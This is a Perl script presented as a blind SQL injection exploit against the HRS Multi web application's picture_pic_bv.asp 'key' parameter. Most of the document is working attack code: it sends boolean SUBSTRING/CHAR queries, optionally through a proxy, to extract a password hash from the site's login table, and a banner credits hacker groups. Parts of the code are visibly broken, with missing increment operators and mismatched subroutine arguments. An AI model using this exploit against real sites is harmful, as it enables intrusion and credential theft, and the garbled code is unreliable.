HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit

#!/usr/bin/perl
     use LWP::UserAgent;
     use Getopt::Long;
     if(!$ARGV[1])
     {
     print " \n";
     print " #################### Viva IslaMe Viva IslaMe ################\n";
     print " # HRS Multi Blind SQL Injection Exploit #\n";
     print " # (picture_pic_bv.asp key ) #\n";
     print " # Author: Mr.SQL #\n";
     print " # EMAIL : SQL@HOTMAIL.IT #\n";
     print " # #\n";
     print " # -((:: GrE3E3E3E3E3ETZ ::))- #\n";
     print " # #\n";
     print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #\n";
     print " # :: ALwHeD :: milw0rm :: #\n";
     print " # #\n";
     print " # <<>> MuSliMs HaCkErS <<>> #\n";
     print " # #\n";
     print " # PRODUCT SITE: http://www.softacid.net/ #\n";
     print " # #\n";
     print " # HOME: WwW.PaL-HaCkEr.CoM #\n";
     print " # #\n";
     print " # Usage : perl test.pl host #\n";
     print " # Example: perl test.pl www.host.com / -d 10 #\n";
     print " # Options: #\n";
     print " # -d valid key value #\n";
     print " #############################################################\n";
     exit;
     }
     my $host = $ARGV[0];
     my $path = $ARGV[1];
     my $userid = 1;
     my $key = $ARGV[2];
     my %options = ();
     GetOptions(\%options, "u=i", "p=s", "d=i");
     print "[~] Exploiting...\n";
     if($options{"u"})
     {
     $userid = $options{"u"};
     }
     if($options{"d"})
     {
     $key = $options{"d"};
     }
     syswrite(STDOUT, "[~] MD5-Hash: ", 14);
     for(my $i = 1; $i <= 32; $i )
     {
     my $f = 0;
     my $h = 48;
     while(!$f && $h <= 57)
     {
     if(istrue2($host, $path, $userid, $key, $i, $h))
     {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
     }
     $h ;
     }
     if(!$f)
     {
     $h = 97;
     while(!$f && $h <= 122)
     {
     if(istrue2($host, $path, $userid, $key, $i, $h))
     {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
     }
     $h ;
     }
     }
     }
     print "\n[~] Exploiting done\n";
     sub istrue2
     {
     my $host = shift;
     my $key = shift;
     my $i = shift;
     my $h = shift; my $ua = LWP::UserAgent->new;
     my $query = "http://".$host."picture_pic_bv.asp?key=".$key." and (SUBSTRING((SELECT password FROM login LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"})
     {
     $ua->proxy('http', "http://".$options{"p"});
     } my $resp = $ua->get($query);
     my $content = $resp->content;
     my $regexp = "tourterms.pdf"; if($content =~ /$regexp/)
     {
     return 1;
     }
     else
     {
     return 0;
     }
     }